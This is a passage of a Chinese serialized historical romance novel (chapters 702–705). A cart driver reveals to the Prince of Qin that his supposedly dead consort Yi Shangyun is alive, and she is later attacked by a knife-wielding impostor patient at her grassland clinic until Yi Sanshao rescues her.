“这到底是怎么回事?” “他们究竟在做什么?” “还有这个所谓的侄子……” 一时间,殿内所有人各自都沉浸在自己的思绪中。 一日午后。 老车夫精神恍惚地走在大街上,嘴里喃喃自语着。 “顺子呀。” “可怜的顺子。” “对不起。” “这都是我的错。” “我不该在大街上一路追着喊着把你当贼抓。” “不成想这府衙里求人无门,守了这么多天,到现在我也没有找到一个能帮你的人。” “我错了。” “我真的错了。” “如果你万一有个什么三长两短。” “这让我如何同你那死去的爹,我那大顺兄弟交代呀。” 似是浑然不觉身后正有一辆马车朝他渐渐行驶过来,正发出一连串“哒哒哒哒……”的马蹄声响。 恰时,那日将顺子抓走的两名官兵忽然出现在他面前。 那老车夫忽觉眼前一亮,竟就这样快步上前紧紧抱住了他们一人一条腿,顺势跪倒在其身前,哭着朝其祈求。 “两位官爷行行好。” “求求你们。” “求你们放了顺子吧!” “我不告了,我不告他了!” “他已经将银子还给了我。” “都是我的错。” “你们就帮我求求大老爷,放他回家吧!” 长街之上,人来人往,熙熙攘攘。 闻声,很快便围过来不少看热闹的人,开始议论纷纷。 “怎么又是他呀?” “他又怎么了?” 两名官兵,其中一人很快便认出了老车夫来,道:“原来是你呀,那日不就是你一路哭着喊着要我们抓他的吗?这会儿又是怎么了?” 老车夫道:“两位官爷真是对不起,那日是我弄错了,这都是我错了。” 那官兵道:“什么弄错了?你又何错之有?他自己见了大老爷,听说要挨板子,便就什么都已经承认了,赌博加偷盗,依照他的情况,最起码也要关个一年半载才能放出来。” 老车夫一听,顿时吓呆了。 “什么?” “一年半载?” “这怎么行,顺子打小就没吃过苦,哪能被你们关那么久。” 那巡街的官兵无奈地道:“你这对咱们说也没用的。要怪只能怪他自己,他要是不做下那些事,不就什么都没有了吗?” “好了好了,我们还要继续巡逻呢,你不要再在这里胡搅蛮缠了,若是没什么事,便早些回家去吧。” 另一名官兵说着,便挣脱了他的束缚。 岂料老车夫却不依不饶,复又将二人死死拽住,语气亦变得坚决而强硬起来。 “不行,你们今天一定要把顺子放了!” “否则,否则我便去秦王府告你们去。” “你这个分不清好歹的老头……” 就在两名巡逻的官兵似是拿老车夫彻底没了办法时,其身后现出来的一辆马车,顿惊到了二人。 只见俩人不约而同倏地便就跪在了地上…… 第七百零二章:敬酒不吃吃罚酒 “属下参见秦王殿下!” “程将军!” 两名巡逻的官兵不约而同地跪向了马车所驶来的方向。 周围百姓亦纷纷跪倒在地一片,齐声高呼:“参见秦王殿下!” 勒马停下,程良即刻翻身下马来到几人面前,素声问:“发生了何事,在这里与百姓当街争吵,成何体统?” 老车夫方才还在人面前一副毫不畏惧的样子,嚷嚷着要到秦王府去告状。 此刻,秦王轩辕翰的马车就在自己面前,他却是对着眼前的人顿时傻了眼。 嘴里喃喃低声说:“今日怎么便就说曹操,曹操到了。” 于是,巡逻的官兵先开了口回答程良。 “启禀将军,这个车夫,前几日在大街上喊捉贼,后来那贼人便被属下擒拿送到了府衙里处置。可他今日却又当街拦住咱们说他不告了,让放人!” 程良听了,大致亦明白了所发生的事情,遂问那老车夫:“他说的,可都是实情?” 老车夫愣了一会儿,道:“是……亦不是……” 程良皱了皱眉,不解地问:“什么叫是……亦不是?国有国法,家有家规,任何人触犯律法就得受到相应的惩罚,正所谓无规矩不成方圆。即便你是原告,岂能由你想怎样便怎样?” 老车夫知道自己理亏,对此显然无可辩解,于是扑通一下,重重地在其面前跪了下来。 声泪俱下地朝其恳求道:“将军求求你,请你让他们放了顺子吧!顺子是大顺留在这世上唯一的骨血,他可千万不能有事啊!” 此情此景,程良显然又不明白了:“这是怎么回事?” 巡逻的官兵急忙解释说:“他口中所说的大顺是他的邻居,顺子,亦就是那日他所喊着要抓的贼,是那邻居夫妻俩临终前托付给他照顾的孩子。” 程良这才总算是明白过来:“原来如此!” 情到深处,老车夫悔恨不已。 “一切都是我的错,当初我应该将衣姑娘给贱内治病的钱好好收藏起来。如果不被顺子看到,他便就不会打那笔钱的主意,如此,亦就不会有如今的牢狱之灾了。” 许是在场所有人的注意力并未放在他嘴里所说的话的细节上,然此刻正在马车内静坐着,闭目养神的轩辕翰却忽然听到了“衣姑娘”三个字。 于是顿将那双深邃的眸子睁开,发出一阵沉声呼唤道:“程良!” 闻声,程良急急回头朝着马车车窗边踱步过去,道:“殿下!” 轩辕翰掀开窗帘一角,程良即刻将耳朵朝其跟前凑了过去。 片刻后,只见程良的眼睛亦顿怔了一下,再次回看向老车夫的方向。 当他再次回到众人面前时,忽然扬起声来发出一阵命令:“来人,将这车夫带走!” “是!” 顿时,便见有两名侍卫上前,驾起老车夫的两只胳膊就走。 老车夫心里不禁有些害怕起来,问道:“你们这是要做什么?你们要带我去哪里?” 程良道:“你不是想见顺子吗?本将军这就带你去见他。” 老车夫听了,顿转而惊喜地发出连连惊问。 “真的吗?” “将军说的可是真的?” “我真的能马上就见到顺子了?” 到了秦王府? 老车夫战战兢兢地被带到了承华殿,轩辕翰的面前。 看着轩辕翰墨发全束,身着一袭玄色锦袍,浑身散发出一股不怒自威,睥睨天下,尊贵天成的气质。 老车夫只觉得自己仿佛做梦一般,眼前一切都是那样的不真实。 双腿忽地一发软,像是快要站立不住,就连声音亦开始变得颤颤巍巍起来。 “你……” “你……” ”你……” “你真的就是秦王殿下……” 届时,程良朝其介绍说:“没错,这便就是你想见的,秦王府唯一的主子,秦王殿下!” “扑通”一声。 闻此,老车夫终于就连仅剩下的最后一点点力气亦完全丧失,直直瘫跪在地板上。 朝面前那尊贵的身份,赶忙叩拜道:“草民叩见秦王殿下,千岁千岁千千岁!” 轩辕翰一如既往地素声道:“你不必害怕,本王之所以让人将你带回王府来,只是有些话想问你。” 老车夫一听,明显有些吃惊。 遂稍稍抬起头来,说:“殿下有话要问老汉我?老汉只不过是一个在大街上随处可见的赶马车的车夫,除赶车外,什么都不懂,老汉不知,秦王殿下要问老汉什么?” 自打方才在街上从其口中听到‘衣姑娘’三个字,轩辕翰在回来的路上心中便早已满是希冀。 若不是因为担心璟帝在自己身边安插的耳目太多,万一不小心走漏了风声,当时他便就冲过去当街质问他了。 此刻,俨然不再与其多做废话,于是迫不及待地兀自问道:“方才本王听你在街上有说到一个人,本王想知道你与那人是什么关系?” 老车夫回忆片刻,方才乃至这几日自己说的最多的人便就是顺子了,似是完全忘记了他还提到了一个人。 于是赶忙回话:“秦王殿下说的可是顺子?顺子他是……” 岂料话刚开口,却被轩辕翰直言打断:“你是不是识得一名衣姓女子?” 闻声,老车夫果然顿愣在原地。 刹那间,似是连大气都不敢喘一个。 显然颇为紧张,心里暗暗地道:“糟了,一定是刚才在街上一时情急,怎么竟然就说漏嘴了!” 遂一想起陆远离开时对自己的叮嘱,老车夫终横下心来道:“不行,衣姑娘那么好的人,我绝对不能恩将仇报害了她!不能说,绝对不能说。” 于是,他便佯装着对此毫无所知的样子。 可心里终究还是对眼前的人甚是忌惮,便断断续续地回答轩辕翰。 “什么?” “什么衣姓女子?” “老汉并不识得。” “老汉不知秦王殿下在说什么?” 轩辕翰听了,凝视了他一会儿。 见其目光躲闪,不敢抬头直视,说话又吞吞吐吐,一看便是在撒谎。 于是顿了顿,再一次目光坚定地朝其望去,发问:“这里是秦王府,本王在亲自问你话。你最好还是想好了再回答,你是不是识得一名衣姓的女子?” 只见老车夫跪在殿前,一直不停的抖动着肩膀,将头越来越低,嘴里依旧欲言又止地发出着阵阵喃喃低语声。 “老汉……” “老汉……” 偌大寂静的殿内。 就在他犹豫不定,迟迟不肯开口的时候,轩辕翰仿佛已彻底对其失去了耐心。 忽然扬声命令道:“程良,派人去府衙传本王的话,就说城里最近盗贼猖狂,所有偷盗者俱都罪加一等。偷盗金额巨大的,一律斩首。” 程良即刻配合着走了出来,抱拳领命:“是,属下这就去通知府衙,命其立刻执行。” 看到轩辕翰已然大怒,老车夫吓的一屁股重重地跌坐在地上。 可又怕自己晚一秒,便就会威胁到顺子的性命。 于是又很快起来朝前跪倒,同时不停地向轩辕翰叩首求饶:“杀不得,杀不得,顺子他罪不至死,他不能死,不能死啊!秦王殿下请息怒,老汉说,老汉什么都说……” 这时,程良朝其狠狠地训斥:“还不快说!真是敬酒不吃吃罚酒。” 至此,老车夫终于缓缓开了口:“数月之前的一个大雨夜,老汉的确赶车送过一位衣姓的姑娘出城!” 程良听了,着急地追问说:“你可知那位姑娘的全名?” 老汉此刻心里已是害怕极了,泪流不止着说:“那姑娘是老汉有生之年见过的世间最好的姑娘,她对老汉有大恩,老汉至死也不会忘记她的名字。姑娘的名字叫做……衣上云。” 闻此,未及轩辕翰说话,程良先急急开了口,又惊又喜地看向轩辕翰的脸,道:“殿下,真的是王妃!王妃娘娘她真的还活着?!” 轩辕翰更是简直不敢相信自己的耳朵,遂急急将铺在案上的一幅衣上云的画像展开。 这画像,正是他凭藉着自己的记忆,于近几日方才刚刚完成的。 没想到,这么快便就派上了用场。 轩辕翰朝着老车夫再次确认道:“你给本王仔仔细细地看清楚了,你所见过的那位姑娘,她的模样,和这画中的女子可否相像?” 而一旁的老车夫,却似是正在独自思考着些什么? 却又很快被身旁的程良打断:“你所说的那个女子,可是这样的模样?” 老车夫这才醒过神来,放眼朝着轩辕翰手里的画像看了过去。 仔细端详了一会儿,最后肯定地道:“对,就是她!就是这位衣姑娘!” 闻此,轩辕翰顿现出一脸的欣喜,着急地问他:“你说她去哪儿了?” 不想老车夫却并未着急回答他的问题,自顾自地先问:“等等,方才你们说,这位姑娘是谁?” 程良解释道:“她便就是我们王爷唯一亲迎入门的王妃!” 老车夫遂发出一声惊叹:“你说她便是……秦王妃!” 亦是此刻,他总算是终于明白了过来:“这么说,衣姑娘腹中那孩子的父亲,是当今的秦王殿下?!” 第七百零三章:赏赐 这一刻,老车夫显然震惊极了。 可心下里仔细一回想,却又拧起眉头,迟疑了起来:“不对啊!” 程良不解地问:“什么不对?” 老车夫道:“这整个皇城的人都知道王妃娘娘已经薨了呀?!” 程良看了一下轩辕翰的脸,转而说道:“此事,说来话长。” 老车夫虽然依旧疑惑,可面对眼前这两张瘆人的脸孔,亦不敢再追问。 于是回忆起那天的情景,缓缓说:“草民还以为衣姑娘的那位不负责任的夫君,是那个满身脂粉气的红袍男子呢?” 轩辕翰听了,顿发出一惊声道:“你说红袍男子?” 老车夫至今记忆犹新,心疼地继续说。 “正值酷暑时节,又极其缺水。往西北方向的路,实在是太难走了。姑娘又怀着身孕,按理说都已经显怀了本不该吐的那般厉害。可许是因为一路太过颠簸,姑娘她什么都吃不下,一直吐个不停,着实辛苦极了!” 闻此,轩辕翰的心随之亦紧紧揪成一团,却也惊喜地道:“你说她腹中的孩子尚还在?” “在,在!”老车夫点点头。 顿了顿,又继续说:“出城数日后的一天,草民忽然发现似是被歹人跟踪了,加之又前路遇阻,车马已然无法再继续向前,衣姑娘便就给了我些银两,让我自己回城。” 对于这件事,老车夫显然至今一直都耿耿于怀,内疚不已,却也依旧尚觉有些后怕着。 “岂料与姑娘刚刚分开,便真的就出现了一个大恶人。不分青红皂白,举起剑来便欲劈向草民,说来也是得亏出现了那个桃花眼的红袍男子,这才救了草民。且他说,他是从秦王府开始便就一路跟着我们至此。” 稍加思索,根据老车夫的描述,轩辕翰便立刻断定,道:“此人一定便就是易三少!难怪他到现在亦不现身,原来他早已经知道了云儿没死。” 轩辕翰心里琢磨着,忽然似是隐隐察觉到了什么,于是开口着急地问。 “等等……” “你方才说,那人从秦王府开始便就跟着你们……” “难道,你们离开前曾亦到过本王的府邸?” “秦王府在城东,我们要往西北,本是南辕北辙,毫无关联。” 老车夫叹了口气,徐徐说道:“这件事,还得从那日,皇城里的天似是都快要塌了的那天说起。” “那日,天空中电闪雷鸣。漫天倾盆大雨已经下了一整夜,却依旧还没有丝毫停下的意思。” “若不是雨天车子少,能多赚点儿,草民亦不想在外奔波,便就亦不会遇见姑娘一个人无助地行走在街上……” 紧接着,老车夫便将暴雨那日从与衣上云相遇,再到街角撞车时起所发生的一切朝其娓娓道来。 听了老车夫所讲的一切,轩辕翰真真是惊呆了。 待到一回过神来,遂恍然大悟:“所以说,那日送信给本王,以及悄悄拿走那只镯子的人,竟就是本王的王妃?!” 此话一出,就连一旁立着的程良亦瞪大了眼睛惊呆了。 稍一回神,程良赶忙问:“那原本送信的人呢?” 老车夫回想片刻,说:“那日,衣姑娘在车上换了一套男子装扮后,说她知道秦王府在哪儿,要怎么走。于是便就让草民先将原本送信的人带回家中养伤。等我再回到家时,听贱内说,那人已经养好伤,说既然信已送到,还有更为重要的事,便就已经离开了!” 轩辕翰紧忙追问:“你所说的男子装扮,可是本王府里的侍卫的穿着?” 老车夫回头再次仔细瞥了一眼门外站着的两名守卫,打量了两人身上的衣着。 尔后复又转回过身来,朝其点点头,肯定地道:“没错,姑娘那日正是换上了与府上官爷一模一样的一套行装!” 恰时,程良插了一句话,说:“我们安插在各国的暗卫,亦都有府内侍卫的行装,以防随时回府。” 说着,顿回望向轩辕翰的脸:“如此想来,那原本该送信回府的,一定便就是我们安插在东宁国的人。” 轩辕翰紧紧握住暗藏在袖子下的双拳,已然追悔莫及:“一定是了!原来我们曾经距离如此之近,她就站在本王的面前,本王竟又一次没能识出她来!” 此时此刻,他的心里已完全确定那老车夫口中所说的人,再也毫无疑问的确是衣上云。 不仅如此,甚至还有更多。 “她真的还活着!” “本王的孩儿也还在!” “这一切,真是太好了!” “可是……” 就在轩辕翰转而慢慢脸上油然升起一抹担忧之色,正陷入沉思时。 老车夫却忽然小心翼翼地开了口。 “所以,衣姑娘,她真的是秦王妃?而并非那妖艳男子的娘子?” 闻此,程良放眼过去,狠狠地瞪了老车夫一眼。 说道:“衣姑娘,她自始至终,都是我家殿下唯一亲迎入门的王妃娘娘。那妖艳男子,不过就是一张甩不掉的狗皮膏药而已……” 老车夫无疑被程良此时的眼神和气势,吓的默默吞下一大口口水。 没过多久,却又似觉得哪里不对。 便再次摇了摇头,开了口:“不对,不对,还是不对……” 程良已然被这老车夫气的有些无语,质问他:“怎么哪里又不对了?” 老车夫说:“可有一位出手极其阔绰,随手便给了草民一袋金豆子,说是什么东宁国来的陆公子怎么说,衣姑娘是他家府上的少主人呢?” 程良听了,大吃一惊,亦瞬间明白了过来。 “你说什么?” “你是说,东宁国……” “陆远……” 老车夫自是不明白他为何如此惊诧,只是有些害怕地点了点头。 “你……” “你竟将我家王妃的行迹亦透漏给东宁国陆远了?” “你这个糊涂的老头……” “原来这一切,都是你干的好事!” “难怪他怎么忽然往西北方向去了?!” 程良实在气的不行,欲上前去教训这个分不清对错的老车夫。 老车夫一见其架势,顿吓的抱头紧紧缩成一团,只一个劲儿地道歉:“将军饶命,将军明察,草民实在不知,姑娘竟就是死而复生的秦王妃呀!是那陆远说姑娘是他家少主人,还有很多坏人亦在寻他,如若被人知道其行踪,便就会有危险,所以……所以……” 就在程良的手,刚好搭上其肩膀,触碰到老车夫时,轩辕翰开口将其制止:“程良……” “殿下……”不得已,程良只能作罢,最后只发出一声叹气。 这时,轩辕翰问:“你可知,本王的王妃去草原,究竟所为何事?” 老车夫想了想,道:“姑娘一路都抱着一个黑色的包袱,脸色也不好,心思甚是沉重,身着一袭素衣裙。草民猜想,那包袱里,应是一人的骨灰。” 轩辕翰皱了皱眉,自言自语道:“果然被本王猜中了!” 继而对老车夫嘱咐道:“今日,在此殿内所发生的一切,出了王府后,全都通通忘记,就当一切都没发生过,你可明白?” 老车夫似懂非懂,只一再被吓得连连颤抖着答说:“草民明白,草民日后不会再跟任何人提起今日之事,亦不会再向任何人透露关于王妃娘娘的事情!” 接着,轩辕翰看了旁边的程良一眼。 程良便即刻领会,走了出去,很快捧着一个木匣子复又进来。 遂径直走到那老车夫面前,将手里的木匣递到其眼前,将其打开。 老车夫顿不明所以地呆看着木匣里的东西。 轩辕翰道:“这是城东的一处宅子,以及一所店面的地契,还有些许银票,本王念在你一路护送本王王妃有功,今特赏赐于你。” 老车夫听了,只感觉像是在做梦一般。 “那可是城东地段,非富即贵之大人物云集,寸土寸金的地方,一处宅子,再加一所店面,还有那么厚的一摞银票,怕是他几辈子都用之不竭。” 醒过神来,老车夫连连推拒道:“这……这可万万使不得。” 程良哗地盖上盖子,将其硬塞到老车夫手里,呵道:“我家王爷让你拿着便拿着。” 这气势,不得已,老车夫只能战战兢兢地伸手将其接过,遂转念又道:“还有一事……” 未及其将话说完,轩辕翰便吩咐程良:“关于那个顺子,你亲自去府衙走一趟,如果没有其他问题,就让府衙把人放了吧!” “是!”程良领命。 “谢殿下,谢殿下!”老车夫顿朝其连连叩首。 将老车夫带出殿后,程良再次折返回来,道:“那陆远显然是得到了这个消息,方才离开皇城,向西北方向而去的。” 稍加思量,便问:“殿下,可要马上派人去将王妃娘娘寻回?” “本王猜的果然没错,如此看来,我们的推断都是对了,她真的送拓跋宏的骨灰回草原了!”轩辕翰若有所思着,喃喃低语说。 待其缓缓醒过神来,道:“有易三少和陆远在,即便那拓跋泽回去,云儿倒是亦应该不会有事的。” 程良想一想,的确如此,于是又问:“那现在,咱们该怎么办?永安宫那边,听说皇上已经允许那人与太后同住了,想来接下来很快便就会露出马脚!” 轩辕翰仔细想了想,说:“你难道忘了皇上那边了?他既然能放心的让云儿离开,便就有把握她会自己回来。云儿定不会跟任何人就这样离开的。你且通知派去草原的人加快搜索,一旦发现王妃的踪影,务必密切监视。” “我们眼下最重要的是……” 第七百零四章:防人之心 “我们眼下最重要的是……” 说着说着,轩辕翰忽然停了下来。 心里暗暗地猜想:“难道他真的已经查到了,云儿便就是遗失的守护者后人。” “依照那人的性子,如果他知道遗失的守护者后人便就是本王的王妃,势必一定不会放过本王,可本王如今却是好端端的。” “莫非他还不知?” “他到底想做什么?” “可如若他不知,又为何要将云儿困在身边。” 这一刻,轩辕翰显然已是真的猜不透璟帝了。 “殿下……” “殿下……” 直到程良的声音,再次将其唤醒。 轩辕翰方才继续原本的思绪,道:“眼下最重要的是,务必尽快找出皇上到底在拿什么威胁云儿?能让云儿不惜以假死与本王不复相见的理由,一定不简单。” “是,属下这就亲自去查!” 程良领命后,便急急走出了大殿。 直至傍晚时分,一阵冷风忽地吹进殿来。 将轩辕翰手里正展开的一本古籍吹起,其中书页飞快地在他眼前翻动了起来。 他方才缓缓起身,走到院子里。 抬头望向夕阳西下下的一抹余晖,遂皱了皱眉。 紧接着,发出一阵自言自语道:“天气越来越冷了,草原上,该是已经飘雪了吧?!” 十一月的草原。 早已褪却了五颜六色的盛装,亦不再见“风吹草低见牛羊”的芳草连天。 眼下已是到处一望无垠的皑皑白雪,大地仿佛一夜之间便换上了圣洁的素衣,愈发显得静谧而辽阔。 绝壁耸立的山峰,巍峨俊秀,仿佛张开双臂的巨人一般,紧紧拥抱着这片自由,壮丽的山河大地。 雪地上。 远远地,从坡底忽然现出绵绵不断的万马奔腾景象来。 仔细听,还似夹杂着一阵阵愈来愈近,隐隐自由不羁的声音:“驾……驾……” 渐渐地,待到那领头的高大骏马终于一现出身来,方才看清楚是拓跋泽正带人策马扬鞭,在雪地里肆意地奔跑。 身旁的几名跟随侍卫中,有人发出一阵叹声道:“大皇子,这几年,咱们东躲西藏,走南闯北,几乎踏遍了整个灵空的千山万水。兜兜转转,还是咱们的大草原最是令人自由快活!” 拓跋泽直觉有衣上云在的这些日子里,自己从未如此心情愉悦,无比踏实过。 不仅如此,浑身似是还有着用不完的力气。 于是用力挥动着手里的马鞭,肯定极了地道:“那是自然!天底下,哪里还会有如此让人惬意自在的天地。你们放心,很快,本皇子便就会重新夺回属于我们的这片天地。不仅如此,你们得到的还会比以前更多……” 闻此,身旁一众人等皆都互相面面相觑着,最后朝其齐声附和道:“大皇子威武,尔等誓死追随!” 直到到了一处地势较高,雪较薄,亦可以保护马群不会受到暴风雪袭击的空旷地带。 一众人等方才缓缓停了下来,纷纷翻身下马。 这时,一侍卫斗胆笑着打趣道:“自从那女人来到了草原上,你们有没有发现,大皇子跟以前完全不一样了,变得……温柔了许多!” 这若是放在以前,谁敢在拓跋泽面前说这样的话,那便是找死! 可如今,拓跋泽听了这话,心里居然还觉得美滋滋的。 就连脸上,嘴角,亦都无不洋溢着幸福的笑容。 众人见此,皆都开始议论纷纷。 “谁说不是呢!” “这俗话说得好,英雄难过美人关。” “大皇子这次看来是要来真的了。” 就在拓跋泽听着自己喜欢的话题,暗暗得意时。 忽然,又有一人却似是有些担心地小心翼翼说:“可那女人,她终究是秦王轩辕翰的人,我们真的可以完全信任她吗?” 闻此,所有人脸上的笑容瞬间凝固。 果不其然,紧接着,很快便闻拓跋泽发出一厉声喝道:“混账,世人皆知,秦王妃已薨。以后这个女人,早晚有一天,都会成为本皇子的人,休要再说她的不是,否则,本皇子定不轻饶!” 那人听了这话,瞬间被吓得紧紧缩成一团。 动也不敢动,只得连连答应:“是是是,属下再也不敢说这话了!” 这时,其他几人亦开口一起帮其解释道:“大皇子请息怒,他也是一片好心,担心我们被人算计了!” 最后,拓跋泽扬起一条腿来,狠狠地踹了那人一脚,发出一声:“滚!” 那人便慌不择路,脚下一滑,连滚带爬地滑下了山坡去。 许久后。 几人围坐在一起,生起一堆篝火来,一边烤火,一边吃着随身携带来的酒肉闲聊。 只有拓跋泽一人此时沉默不语,像是正在思考着什么。 那方才说的拓跋泽心花怒放的侍卫见了,起身过去将手里的酒囊递到了其面前。 拓跋泽抬头看了他一眼,伸手将其接过。 兀自灌下一口,瞬间觉得自己整个身子都暖了起来。 侍卫在其身边落座下,开口缓缓说:“大皇子,不过话说回来,有道是害人之心不可有,防人之心不可无。阿图刚才所说的,虽话糙,理却不糙,亦不是全无道理。” 拓跋泽听了,瞪了他一眼。 侍卫的目光亦随之闪躲了一下,却还是坚持继续说:“对于这个女人和那个秦王的力量,我们已经吃过一次亏,万万不可再来一次。如此,当真是经不起。” 拓跋泽方才久久没有说话,其实正是一直在思考这个问题。 于是,他开口问那侍卫:“莫非你有办法?” 侍卫想了一会儿,分析道。 “那女人的身份特殊,她不但是富甲一方的东宁国最受尊敬的嫡公主,想来东宁国未来的继承人,一定亦是非她莫属了。除此之外,还是南安太子的白月光,更是我们可以拿来随意拿捏的秦王轩辕翰的软肋。这些,对我们而言,的确不失为一个很好的筹码。” 侍卫说着,不禁感叹道:“没想到二皇子的死,连同陆天骄一起,这次,居然送了我们如此一份大礼。” 拓跋泽似乎有些明白了:“所以……你的意思是?” 侍卫又问拓跋泽,道:“大皇子不妨想一想,然对那个女人来说,最重要的却是什么?” 至此,拓跋泽终于彻底明白了。 遂惊看向侍卫的脸:“你是说……那个孩子……” 侍卫点了点头,肯定了他心里的想法。 稍加思索,侍卫又提示道:“眼下看来,最多再有不足一月,那女人便该就要临盆了……” 可拓跋泽心里却迟疑了起来。 “可那女人视那个孩子如己命,她之所以能留在这里,就是为了能够平安生下这个孩子。本皇子若是真的动了那个孩子,亦或利用那个孩子,怕是她绝对永远都不会原谅……” 侍卫实在没想到,不过短短数月,拓跋泽如今竟变得如此犹豫不决。 于是有些着急地道:“时间不多了,在此节骨眼上,一念之间,大皇子万万不可妇人之仁。况且,我们又不是要取那孩子的性命。” 一时之间,拓跋泽只觉自己心慌意乱。 连连猛灌下好几口烈酒,甚至都一不小心呛到了自己。 “咳咳咳……” 遂发出一阵重重的咳声后,最后还是只说了句:“容本皇子再好好想想,再想想……” 而此时,在距离不远处的云上医舍里。 如今已然大腹便便的衣上云,依旧坚持着每日晨起后,来此半日的亲自坐诊。 不管人多人少,亦不管风霜雨雪,数月如一日。 这会儿。 医舍里,寥寥无几排队的人群中,正有人在叽叽咕咕。 “如今见这医舍里冷冷清清,看诊的人是越发的少了。” “你懂什么?” “经过姑娘对咱们穷苦牧民们数月以来的努力普及,关于常见基础病的诊疗常识。许多小病小痛,基本上自己完全就可以在家里用备用的药物痊愈,根本不会再因为一点点小病,亦或小伤痛便就无所适从,更不需要外出就医。” “原来是这样啊!” “那没有生意,不会有一天,医舍开不下去了吧?” “呸呸呸……” “你个乌鸦嘴说什么呢?莫要让姑娘听见了。” 所以说,如今医舍里的病人,倒也不算是很多。 倒是来此就医的许多人见了她,都会说这样的话。 “姑娘的肚子,看起来都快要生了,怎么还在替人看诊,这也太辛苦了!” 衣上云却自觉自己的身子,尚还能够应付。 反而每日让自己忙碌一些,倒是可以打发掉许多胡思乱想的时间。 前面的病患起身离开。 “下一位……” 伴随着一女子的传叫声响起。 缓缓上前来一位弯腰哈背,紧紧搂着肚子,许是因为身上病痛的折磨,不断发出阵阵呻吟的高大男人。 衣上云见了,皱了皱眉,柔声问道:“你怎么了?哪里不舒服?” 那高大男人满脸像是很痛苦的模样,说:“我肚子疼,特别疼,犹如刀绞一般的痛感。” 衣上云听了,便急急伸手朝其紧紧按着的地方探索触摸了过去。 “是这里痛吗?” 男子摇摇头,说:“不是这里,往下一点儿。” 衣上云于是将手往下挪了挪,再次问:“是这里?” 男子继续摇头:“再往下,再往下一点。” 衣上云忽然似是意识到什么…… 第七百零五章:好像快要生了 衣上云忽然似是意识到什么,心里暗自想了想,遂嘴角上扬起一抹弧度。 继而佯装着一边摇头,一边果断抽回自己的手,遂发出一阵惊讶不已的声音:“哎呀,你这还真的是病的不轻呢!” 只见她一边打开针袋,一边说:“不过幸亏来得早,倒亦还算不至于病入膏肓。我只要帮你扎上一针,包你针到病除,马上便好!” 就在衣上云手指轻轻划过面前的每一枚针,最后却挑选捏起一枚最粗的银针,正欲靠近男人所指向时,那男人忽然变了一副嘴脸。 一把将其手腕紧紧控制住,道:“等等!” 见此,衣上云心中略觉得意,继续佯装着问他:“怎么?难道你想拒绝治疗?” “我……”众目睽睽下,此时的男子显然已是骑虎难下,无法自辩。 就在他松手的一刹那间,衣上云触摸到了他明显强而有力的脉搏跳动。 心里便更加肯定了他的无理取闹,继而又道:“作为医者,我想我有必要提醒你一下,讳疾忌医,可不是一个好病人。你这个病,只有尽早治疗,才有痊愈的可能,否则,再继续耽误下去,最后怕是会不举的。看你的样子,应是尚还孑然一身,无妻无子呢吧!” 霎时间,一旁排队的几人忽然对男人指指点点,且交头接耳了起来。 那男人顿觉自己偷鸡不成蚀把米,失了男人尊严。 于是清了清嗓子,恼羞成怒厉声说:“你明明还没有把脉呢,怎么就断定我究竟得的是什么病?居然还敢直接拿着这么粗的银针欲施于我身上,难道是想谋财害命不成吗?” “在我这里,不是所有的病痛,都必须只有通过把脉才能诊出病因,况且,你怎知我就没有替你把过脉。还说我谋财害命?”衣上云眼睛与其对视着,毫不示弱地道。 男人重重地拍了一把面前的案几,亦理直气壮的道:“你这个外乡来的恶毒的女人,怀着不知什么野男人来历不明的孩子在这里肆意敛财,简直就是个庸医!” 听到他狗急跳墙,居然诋毁起自己的孩子来,衣上云再也忍不住了。 便素声质问他道:“外乡人怎么了?我的孩子又与你何干,你凭什么质疑他的身份?究竟是你心术不正?还是我谋财害命,你自己心里难道没点儿数吗?” 说着,她将男子全身上下仔细打量了一番。 看似表面衣着光鲜,可许是因为来时匆忙,准备不够充分,脚上的一双破了洞的劣质靴子将他彻底出卖。 衣上云厉声道:“如果我猜得没错,你的口袋里一贫如洗,根本就是想来这里故意敲诈勒索的。还不快说,究竟是谁派你来的?” 霎时间,周围围满了看热闹的人。 那男人将周围扫了一圈,忽然站起身,从身上掏出一把锋利的匕首来。 紧接着,大步流星过去将衣上云亦一把拽起身来,用那只胳膊快速圈住了衣上云的脖颈,并将另一只手里的匕首紧紧地抵到了她的腹部。 并对周围的人大声喝道。 “滚开!” “都滚开。” “再不滚开,我就让你们马上亲眼见识一下什么叫做一尸俩命!” 此情此景,衣上云显然对此毫无防备,亦始料未及,心里不禁顿然紧张了起来。 “你想做什么?” “你先把刀放下!” “你想要什么我都给你,你是不是要钱?我给你,我都给你。” “我只求你,不要伤害我的孩子。” 那男人早已变得满脸狰狞:“闭嘴,现在你说什么都已经晚了。爷爷现在改变主意了,爷爷现在不要钱了。” 衣上云紧紧盯视着他手里握着的匕首,小心翼翼地问:“你不要钱?那你要什么?” 男子只自顾自一边试探着挟持她往门口走去,一边呵斥挡住他前路的人:“闪开,都给我闪开。” 一时间,在场所有人的心都提到了嗓子眼门口。 终于,那男子抵达了门口。 对着衣上云的一只耳朵说:“既然已死到临头,爷爷便告诉你爷爷今儿要什么?” 正当衣上云认真听着的时候,男子忽然冷不防地将手里的匕首用力挥了起来:“爷爷要你们母子的命,去死吧!” 马上即将临盆的衣上云挺着大肚子,身体极显笨拙,已然来不及躲闪,只能本能反应紧紧地闭上了眼睛。 眼看着那把匕首就要触碰到她的腹部,周围所有人都瞪大了眼睛,甚至有些胆小的早已捂住了双眸。 就在这千钧一发之际,忽闻发出“咣当”一声响。 紧接着,当所有人都再次睁开眼睛的时候,便只看到衣上云正被一红袍男子紧紧的拥在怀里。 就连衣上云本人亦是都没有想到。 遂只顾惊看向正揽腰抱住自己的人的脸,道:“三少?你不是已经离开了吗?怎么会……” 见此,在场其余众人俱都一起蜂拥而至了上去,将那倒在地上的男子死死压在地上,拳打脚踢了起来。 平日里,易三少自是丝毫不敢现身出来,只能远远地看着衣上云的身影。 可今日,拓跋泽带人出远门去牧马,没想到医馆居然发生了这种事情。 若是他再不在,他真的不敢想象会发生什么? 此刻,红袍男子后怕极了,亦心疼极了的凝视着衣上云的眼睛。 “我怎放心真的将你一个人留在这蛮夷之地!早就跟你说过,人既已送回,此后便就再不相欠。” “难道这就是你口中所说的想要的畅快、自由、随性洒脱的生活?” “你所做的这一切都不值得,你为了他们付出了那么多,却还是有人想杀你,为何就是不听我的话跟我走呢?” 恍然回过神来,衣上云紧忙一把推开了红袍男子,朝其解释说:“三少,这里的人,淳朴又善良,其实都挺好的。今日这件事,实属只是一个意外。” 红袍男子却是紧张地道:“没错,这的确只是一个意外,可若不是我及时赶到,这个意外,便足以要了你们母子的命。” 衣上云还想继续与其辩解:“我……” 